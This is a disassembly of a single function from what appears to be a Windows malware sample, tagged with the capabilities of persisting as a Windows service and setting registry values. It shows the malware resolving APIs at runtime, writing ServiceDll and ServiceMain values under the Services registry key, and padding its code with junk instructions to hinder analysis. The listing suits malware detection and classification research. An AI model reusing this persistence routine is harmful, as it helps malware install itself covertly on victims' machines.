Function at 0x100129d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.lstrlenA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetWindowsDirectoryA
push str.KERNEL32.dll
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push str.DeleteFileA
push str.KERNEL32.dll
mov dword [ebp - 0x14], eax
call esi
push eax
call edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [ebp - 0x370]
mov dword [ebp - 0x10], eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
xor eax, eax
lea edi, [ebp - 0x34d]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edi, 0x1001f230
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x370]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x17b]
mov byte [ebp - 0x17c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
lea eax, [ebp - 0x17c]
push 0x104
push eax
call dword [ebp - 0x14]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x17c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x179], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
lea eax, [ebp - 0x17c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x10]
call esi
lea ecx, [ebp - 0x17c]
lea edx, [ebp - 0x370]
push ecx
push edx
call fcn.100128f0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x77]
mov byte [ebp - 0x78], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [ebp - 0x78]
push str.SOFTWARE_d
push eax
call ebx
lea ecx, [ebp - 0x17c]
lea edx, [ebp - 0x78]
push ecx
push edx
call fcn.10012950
add esp, 0x1c
lea eax, [ebp - 0x17c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0x243]
mov byte [ebp - 0x244], 0
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x78]
lea edx, [ebp - 0x244]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebx
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
lea edx, [ebp - 0x244]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, dword [ebp - 0xc]
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
mov eax, dword [ebp - 4]
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
push 2
push 0
push str.ServiceDll
push eax
call edi
push str.DarkAngle
call ebx
mov ecx, dword [ebp - 4]
push eax
push str.DarkAngle
push 1
push 0
push str.ServiceMain
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x17c]
lea ecx, [ebp - 0x78]
push eax
push ecx
call fcn.100128f0
lea edx, [ebp - 0x17c]
lea eax, [ebp - 0x370]
push edx
push eax
call fcn.10012950
add esp, 0x10
lea ecx, [ebp - 0x17c]
push ecx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret